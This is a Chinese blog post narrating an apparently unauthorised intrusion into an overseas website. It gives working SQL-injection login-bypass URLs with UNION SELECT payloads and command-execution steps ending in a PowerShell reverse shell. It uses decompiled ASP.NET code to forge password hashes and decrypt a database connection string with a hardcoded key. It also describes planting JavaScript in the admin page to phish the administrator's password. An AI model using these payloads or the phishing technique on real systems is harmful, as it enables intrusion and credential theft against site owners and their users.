?

Jul 08 2017

記一次境外站滲透過程

首頁 » 滲透測試 » 記一次境外站滲透過程   

一個境外的山寨網站,也是有意思~~~因為挺久沒有做滲透了,在滲透的過程中還是發現了一些比較有意思的東西

一、目標環境

  • 操作系統:Windows Server 2008 R2
  • 服務器容器:IIS 7.5
  • 應用腳本:ASP.NET
  • 數據庫:MSSQL

二、注入點

網站只有一個登陸口,登陸口存在SQL注入~~~遇到這種情況,我一般都是三種處理方式:

  • ①、注入獲取數據,沒有顯示位,無法報錯,只能盲注,速度是比較慢的。
  • ②、命令執行,可以直接命令執行獲取shell。
  • ③、萬能密碼,也是注入利用方式的一種。
  • ④、登錄語句構造,這種情況是針對第三種情況失效的采用的。

登錄語句構造

萬能密碼也是利用的注入點的方式進行登錄,通常情況下語句如下:

不過此處不能用萬能密碼,服務器應該是先利用用戶名獲取數據庫信息,然后利用比較密碼進行登錄~~~這種時候通常就需要構造語句來登錄,大致語句如下:

對于密碼字段,我就測試了MD5以及明文,構造出來的語句如下:http://example.com/checklogin?txtPwd=123456&txtName=admin' or 1=1 UNION ALL SELECT NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,NULL,'e10adc3949ba59abbe56e057f20f883e',NULL,NULL,'e10adc3949ba59abbe56e057f20f883e','e10adc3949ba59abbe56e057f20f883e'--

結果還是錯誤了,可能是密碼加密方式不對吧~~~這個坑,后面來填

命令執行

因為是盲注,當時看它執行命令的時候我都快睡著了~~~一般來說,如果我遇到命令執行的情況,就會按照以下幾點來做:

  • ①判斷站庫分離
  • ②直接寫webshell
  • ③直接上馬

我當時沒有判斷站庫分離,這種小站十個有十個都不會分離。于是,差不多就按照如下步驟進行了:

  • ①、分區數目:wmic diskdrive get partitions /value,只有一個分區,
  • ②、系統盤符:cd,系統盤符是C:
  • ③、尋找網站路徑:c: & dir /s/b logo.png,居然沒有!?!?
  • ④、查看是否站庫分離:select host_name()、select @@servername結果一致,沒有站庫分離。
  • ⑤、IIS默認的網站目錄是C:\Inetpub\wwwroot,看了一下~~~沒有什么東西,應該是管理員重新配置了,網站雖然不大,但是因為是盲注,就沒有挨著挨著看了,準備其它思路。
  • ⑥、bitsadmin文件下載,提示Unable to add file to job - 0x800704dd,說不能聯網,感覺是當前賬號權限過低~~~
  • ⑦、powershell文件下載,成功反彈

三、代碼審計填坑

沒有做過ASP.NET的審計,不過這次重點而不是在于審計代碼而是在于看漏洞產生的地方,使用的工具為IL Spy
登錄部分的代碼為:


private void CheckLogin()
{
    string name = Utils.GetQurryString("txtName");
    string pwd = Utils.GetQurryString("txtPwd");
    Admin bll = new Admin();
    this.model = bll.GetModelByName(name);
    if (this.model != null && this.model.ID > 0)
    {
        if (!this.IsLock())
        {
            if (this.model.Pwd == SecurityHelper.DifferentMD5(pwd))
            {
                int _Exp = 0;
                Cookies.AddCookies("Manage", "userid", SecurityHelper.Encrypt(this.model.ID.ToString()), _Exp);
                Cookies.AddCookies("Manage", "username", SecurityHelper.Encrypt(this.model.Name.ToString()), _Exp);
                Cookies.AddCookies("Manage", "lastlogintime", SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()), _Exp);
                this.model.LoginCount++;
                this.model.LastLoginTime = DateTime.Now;
                this.model.ErrorCount = 0;
                this.model.LastLoginIP = Utils.GetClientIP();
                int res = bll.Update(this.model);
                if (res > 0)
                {
                    AjaxMsgHelper.AjaxMsg("0", "OK", "登錄成功", "/home/index");
                    new ZY_Log().AddLog(0, "管理員賬號:" + name + "登錄成功!");
                }
                else
                {
                    AjaxMsgHelper.AjaxMsg("2", "Error", "系統繁忙");
                }
                base.Response.End();
            }
            else
            {
                this.ErrPwdDo();
                AjaxMsgHelper.AjaxMsg("2", "Error", "密碼錯誤" + this.ErrrorNum + "次:連續錯誤5次,帳號將被鎖住");
                base.Response.End();
            }
        }
        else
        {
            AjaxMsgHelper.AjaxMsg("2", "Error", "由于您連續5次輸入密碼錯誤,為保護你的帳號安全,請30分鐘后再登錄");
            base.Response.End();
        }
    }
    else
    {
        AjaxMsgHelper.AjaxMsg("1", "Error", "用戶名不存在!");
        base.Response.End();
    }
}
代碼果然是根據用戶名獲取數據,然后比較密文~~~看看DifferentMD5()函數,好吧,果然不是正經的加密方式。

public static string DifferentMD5(string str)
{
    string Md5Str = FormsAuthentication.HashPasswordForStoringInConfigFile(str, "MD5").ToLower();
    string SHA1Str = SecurityHelper.SHA1(str);
    return Md5Str.Substring(2, 8) + "y" + SHA1Str.Substring(4, 6).ToLower() + Md5Str.Substring(13, 11);
}

于是,第一次構造出來的語句是:http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 5,'1','79eaf3c8y678a0b04de153469d',NULL,'1',NULL,'1',NULL,NULL,NULL,'1',NULL,NULL,'1','1'--

提示系統錯誤0001,當我把密碼修改為錯誤的密碼,提示密碼錯誤。也就是密碼對了,是在后面操作出現了其它系統錯誤,后來證實是字段類型不對應導致的~~~看了看模型部分的代碼,如下:

SqlParameter[] parameters = new SqlParameter[]
{
    new SqlParameter("@ID", SqlDbType.Int, 4),
    new SqlParameter("@Name", SqlDbType.NVarChar, 100),
    new SqlParameter("@Pwd", SqlDbType.NVarChar, 500),
    new SqlParameter("@LastLoginTime", SqlDbType.DateTime, 8),
    new SqlParameter("@LastLoginIP", SqlDbType.NVarChar, 100),
    new SqlParameter("@LoginCount", SqlDbType.Int, 4),
    new SqlParameter("@RegIP", SqlDbType.NVarChar, 100),
    new SqlParameter("@AddTime", SqlDbType.DateTime, 8),
    new SqlParameter("@UpdateTime", SqlDbType.DateTime, 8),
    new SqlParameter("@Effect", SqlDbType.Int, 4),
    new SqlParameter("@Memo", SqlDbType.NVarChar, 1000),
    new SqlParameter("@ErrorCount", SqlDbType.Int, 4),
    new SqlParameter("@LastErrTime", SqlDbType.DateTime, 8),
    new SqlParameter("@RealName", SqlDbType.NVarChar, 100),
    new SqlParameter("@Phone", SqlDbType.NVarChar, 100)
};

于是重新構造出來的語句是http://example.com/checklogin?txtPwd=666666&txtName=admin' UNION SELECT 1,'testuser','79eaf3c8y678a0b04de153469d','01 21 2016 12:00AM','ip',1,'ip','01 21 2016 12:00AM','01 21 2016 12:00AM',1,'memo',1,'01 21 2016 12:00AM','real_name','110'--,提示:登錄成功,其實在上面一步的時候雖然提示系統錯誤0001,但是cookie已經設置了,訪問后臺是成功的。

四、釣魚

雖然有權限了,但是后臺用戶的密碼還是不能解密,因為我沒有拿到管理員的賬號,這個時候想到網站后臺密碼和服務器的密碼是一樣的啊,默默地修改了后臺頁面,寫了一個JS插了進去,等待管理員上鉤,代碼很簡答,就不放代碼了。過了一天,看了看,果然在自己的服務器找到了用戶名密碼,不過沒什么用。

五、提權

初略看了看系統的補丁情況,基本上打得差不多了,最后還是找到一個沒打補丁的漏洞提權成功,具體過程不再復述。hash讀出來了,但是沒法登陸

六、其它分析

中途在查看服務器文件的時候發現一些可疑的文件,放到virustotal分析了一下,果然是被人掛馬了。而且成為了曠工~~~這里不再做分析了,惡意程序的分析并不擅長。

七、數據庫鏈接字符串解密

拿到權限之后,發現web.config中數據庫連接字符串是加密了的。這里很大部分原因是因為自己沒有開發過asp.net。我查閱了一下資料,字符串加密一般有兩種方式~一種是利用自帶的工具aspnet_regiis.exe,一種就是在asp.net程序連接數據庫之前去解密。這里屬于第二種

數據庫連接通常在數據訪問層(DAL Data Access Layer)層,而且asp.net中但凡設計到數據庫操作,一般都會涉及到SqlHelper類,果不其然,在這個類中發現了解密的代碼。

public class SqlHelper
{
	public static int CommandTimeout = 30;
 
	public static string ConnectionString = SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings["DBconn"].ConnectionString);
 
	public static SqlConnection GetSqlConnection()
	{
		return new SqlConnection(SqlHelper.ConnectionString);
	}
}


public static string Decrypt(string pDecrypt)
{
    string result;
    try
    {
        string key = "abcdefgH";
        DESCryptoServiceProvider oDESCryptoServiceProvider = new DESCryptoServiceProvider();
        byte[] inputByteArray = new byte[pDecrypt.Length / 2];
        for (int x = 0; x < pDecrypt.Length / 2; x++)
        {
            int i = Convert.ToInt32(pDecrypt.Substring(x * 2, 2), 16);
            inputByteArray[x] = (byte)i;
        }
        oDESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(key);
        oDESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(key);
        MemoryStream oMemoryStream = new MemoryStream();
        CryptoStream oCryptoStream = new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
        oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length);
        oCryptoStream.FlushFinalBlock();
        result = Encoding.Default.GetString(oMemoryStream.ToArray());
    }
    catch (Exception ex_B5)
    {
        result = "";
    }
    return result;
}


http://ecma.io/745.html

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «現代Web中的JSON劫持 | Struts2 再爆高危漏洞S2-048 來了»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖